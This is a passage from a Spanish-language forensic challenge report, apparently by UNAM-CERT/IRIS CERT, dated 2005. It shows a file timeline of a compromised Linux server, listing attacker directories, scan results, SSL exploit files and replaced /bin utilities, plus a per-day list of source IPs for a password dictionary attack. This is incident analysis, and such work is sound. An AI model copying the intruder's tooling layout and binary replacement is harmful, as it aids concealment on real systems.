Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

29 ene 15:27 / .bash_history<br />

29 ene 15:27 /tmp .info<br />

29 ene 15:36 /var/tmp w00t<br />

29 ene 15:36 /var/tmp/w00t 200.207.pscan.139<br />

29 ene 15:36 /var/tmp/w00t .<br />

29 ene 15:46 /var/tmp/psybnc psybnc.pid<br />

29 ene 15:46 /var/tmp/psybnc/log psybnc.log<br />

29 ene 15:48 /var/tmp/psybnc log<br />

29 ene 15:48 /var/tmp/psybnc/log USER1.TRL<br />

29 ene 15:48 /var/tmp/psybnc/log .<br />

29 ene 15:49 /var/tmp/psybnc motd<br />

29 ene 15:49 /var/tmp/psybnc/motd USER1.MOTD<br />

29 ene 15:49 /var/tmp/psybnc/motd .<br />

29 ene 17:53 /var/tmp/psybnc psybnc.conf.old<br />

29 ene 17:53 /var/tmp/psybnc psybnc.conf<br />

30 ene 4:02 /var/spool/mqueue xfj0UA22F27603<br />

30 ene 4:02 /var/spool/mqueue dfj0UA22F27603<br />

30 ene 4:02 /tmp logwatch.XXLltDIY<br />

30 ene 4:02 /tmp makewhatisnuAB1j<br />

30 ene 4:02 /tmp/logwatch.XXLltDIY xferlog<br />

30 ene 4:02 /tmp/logwatch.XXLltDIY messages<br />

30 ene 4:02 /tmp/logwatch.XXLltDIY cron<br />

30 ene 4:02 /tmp/logwatch.XXLltDIY secure<br />

30 ene 4:02 /tmp/logwatch.XXLltDIY samba<br />

30 ene 4:02 /tmp/logwatch.XXLltDIY maillog<br />

30 ene 4:02 /tmp/logwatch.XXLltDIY .<br />

30 ene 4:02 /tmp/makewhatisnuAB1j .<br />

30 ene 4:22 /var/lock makewhatis.lock<br />

30 ene 4:22 /var/lock .<br />

30 ene 4:22 /var/lock/subsys ..<br />

30 ene 4:22 /var/cache/man whatis<br />

30 ene 4:22 /var/spool/anacron cron.weekly<br />

30 ene 4:22 /var lock<br />

30 ene 4:22 /tmp makewhatisLZwx4z<br />

30 ene 4:22 /tmp/makewhatisLZwx4z .<br />

30 ene 4:22 /tmp/makewhatisLZwx4z w<br />

30 ene 4:22 /bin cp<br />

31 ene 3:12 /var/tmp/psybnc USER1.LOG<br />

31 ene 3:12 /var/tmp/psybnc .<br />

31 ene 3:12 /var/tmp/psybnc/scripts ..<br />

31 ene 3:12 /var/tmp/psybnc/help ..<br />

31 ene 3:12 /var/tmp/psybnc/menuconf ..<br />

31 ene 3:12 /var/tmp/psybnc/tools ..<br />

31 ene 3:12 /var/tmp/psybnc/motd ..<br />

31 ene 3:12 /var/tmp/psybnc/log ..<br />

31 ene 3:12 /var/tmp psybnc<br />

31 ene 4:02 /var/lib logrotate.status<br />

31 ene 4:02 /var/lib rpm<br />

31 ene 4:02 /var/lib/rpm .<br />

31 ene 4:02 /var/log rpmpkgs<br />

31 ene 4:02 /var/log .<br />

31 ene 4:02 /var/spool/anacron cron.daily<br />

31 ene 4:02 /var log<br />

31 ene 4:12 /var/lib slocate<br />

31 ene 4:12 /var/lib/slocate slocate.db<br />

31 ene 4:12 /var/lib/slocate .<br />

31 ene 11:54 /var/tmp/w00t ..<br />

31 ene 11:54 /var/tmp/psybnc ..<br />

31 ene 11:54 /var/tmp/selena ..<br />

31 ene 11:54 /var/tmp/selena ssvuln<br />

31 ene 11:54 /var tmp<br />

31 ene 11:54 /var/tmp .<br />

39


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

31 ene 12:02 /var/tmp/selena 217.172.pscan.443<br />

31 ene 12:02 /var/tmp/selena oops<br />

31 ene 12:02 /var/tmp/selena 217.172.ssl<br />

31 ene 12:02 /var/tmp/selena .<br />

31 ene 12:02 /var/tmp selena<br />

31 ene 12:03 /bin setserial<br />

31 ene 12:03 /bin ping<br />

31 ene 12:03 /bin netstat<br />

31 ene 12:03 /bin mt<br />

31 ene 12:03 /bin mktemp<br />

31 ene 12:03 /bin mknod<br />

31 ene 12:03 /bin mkdir<br />

31 ene 12:03 /bin mail<br />

31 ene 12:03 /bin ls<br />

31 ene 12:03 /bin ln<br />

31 ene 12:03 /bin hostname<br />

31 ene 12:03 /bin ed<br />

31 ene 12:03 /bin df<br />

31 ene 12:03 /bin dd<br />

31 ene 12:03 /bin cpio<br />

31 ene 12:03 /bin chown<br />

31 ene 12:03 /bin chgrp<br />

31 ene 12:03 /var/tmp/selena/sslex<br />

31 ene 12:03 /var/tmp/selena/217.172.ssl.out<br />

31 ene 12:03 /var/tmp/selena/ssx<br />

31 ene 12:03 /var/tmp/selena/sslx<br />

31 ene 12:03 /var/tmp/selena/ssl<br />

31 ene 12:03 /var/tmp .bash_history<br />

31 ene 13:31 /var/spool/mqueue dfj0VJV0A25551<br />

31 ene 13:31 /tmp/logwatch.XXLltDIY ..<br />

31 ene 13:31 /tmp/makewhatisnuAB1j ..<br />

31 ene 13:31 /tmp/makewhatisLZwx4z ..<br />

31 ene 13:31 /tmp .<br />

31 ene 13:31 / tmp<br />

31 ene 14:59 /var/spool/mqueue qfj0VJV0A25551<br />

31 ene 15:20 /var/spool/mail root<br />

31 ene 15:20 /var/spool/mail .<br />

31 ene 15:20 /var/spool/mqueue .<br />

31 ene 15:20 /var/spool mqueue<br />

31 ene 15:20 /var/spool mail<br />

31 ene 15:20 /etc/mail statistics<br />

31 ene 15:25 /etc/mrtg mrtg.ok<br />

31 ene 15:25 /etc/mrtg .<br />

31 ene 15:25 /etc mrtg<br />

40


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

Anexo 4.<br />

Resumen <strong>de</strong>l ataque <strong>de</strong> diccionario, el origen <strong>de</strong> los ataques por día,<br />

estos se dieron en cantida<strong>de</strong>s que van <strong>de</strong>s<strong>de</strong> 2 hasta 100 o mas ataques<br />

por IP origen, se intento adivinar el password usando usuarios como<br />

root, admin., apache, nobody, entre otros:<br />

Enero 21:<br />

Intentos <strong>de</strong>s<strong>de</strong> 80.81.32.242.<br />

Intentos <strong>de</strong>s<strong>de</strong> 67.19.122.170<br />

Intentos <strong>de</strong>s<strong>de</strong> 209.0.206.183<br />

Enero 22:<br />

Intentos <strong>de</strong>s<strong>de</strong> 209.152.182.194.<br />

Intentos <strong>de</strong>s<strong>de</strong> 64.151.73.180<br />

Intentos <strong>de</strong>s<strong>de</strong> 63.247.140.66<br />

Enero 23:<br />

Intentos <strong>de</strong>s<strong>de</strong> 209.152.182.194.<br />

Intentos <strong>de</strong>s<strong>de</strong> 64.151.73.180<br />

Intentos <strong>de</strong>s<strong>de</strong> 63.247.140.66<br />

Enero 24:<br />

Intentos <strong>de</strong>s<strong>de</strong> 148.231.192.8.<br />

Enero 26:<br />

Intentos <strong>de</strong>s<strong>de</strong> 81.181.141.21.<br />

Intentos <strong>de</strong>s<strong>de</strong> 210.0.186.2.<br />

Intentos <strong>de</strong>s<strong>de</strong> 211.251.242.68<br />

Intentos <strong>de</strong>s<strong>de</strong> 212.93.136.214<br />

Enero 27:<br />

Intentos <strong>de</strong>s<strong>de</strong> 212.93.136.214.<br />

Intentos <strong>de</strong>s<strong>de</strong> 218.151.155.35<br />

Enero 28:<br />

Intentos <strong>de</strong>s<strong>de</strong> 69.19.179.50.<br />

Intentos <strong>de</strong>s<strong>de</strong> 218.200.36.124<br />

Enero 29:<br />

Intentos <strong>de</strong>s<strong>de</strong> 203.131.125.156.<br />

Intentos <strong>de</strong>s<strong>de</strong> 61.220.91.20.<br />

Intentos <strong>de</strong>s<strong>de</strong> 216.116.104.39<br />

41

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!